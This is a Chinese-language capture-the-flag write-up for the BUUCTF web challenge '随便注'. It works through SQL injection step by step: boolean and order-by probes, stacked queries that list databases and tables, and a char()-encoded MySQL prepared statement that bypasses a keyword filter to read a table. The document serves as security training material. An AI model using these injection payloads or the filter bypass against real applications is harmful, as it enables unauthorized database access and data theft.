AI智能
改变未来

BUUCTF web 随便注 sql注入 mysql预处理语句

BUUCTF web 随便注 sql注入 mysql预处理语句

开始的页面
查询1

按照手工检测sql注入点步骤

1、判断注入点

1\' or 1=1#

1\' or 1=2#


两次结果不一样,说明存在sql注入

2、判断有多少字段

1\' order by 3#

返回错误

1\' order by 2#

正常,说明有2个字段

3、查询数据库

-1\' union select 1,database()#

这里过滤了很多关键字,不能用select,update之类的关键字,

4、堆叠注入
在sql中,分号;是用来表示SQL语句的结束,而在分号后再写入一条语句就是堆叠注入,不同于union,union是合并一起执行的,而堆叠注入是分开执行的

①查询数据库

1\';show databases;#


②查询表

1\';show tables;#

5、mysql预处理语句
因为我们要查询表,需要用到select关键字,但是这里被过滤了,用sql预处理绕过
这里有解释MySQL的SQL预处理(Prepared)

当数字型字符作为字段、表、库名查询时,应该用反单引号括起来tab键上面的点“,这里因该把1919810931114514表用反单引号括起来

1\';SET@sql=concat(char(115,101,108,101,99,116),\" * from `1919810931114514`\");PREPARE sqla from @sql;EXECUTE sqla;#

总结:
1、堆叠注入
2、当数字型字符作为字段、表、库名查 询时,应该用反单引号括起来
3、mysql预处理

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » BUUCTF web 随便注 sql注入 mysql预处理语句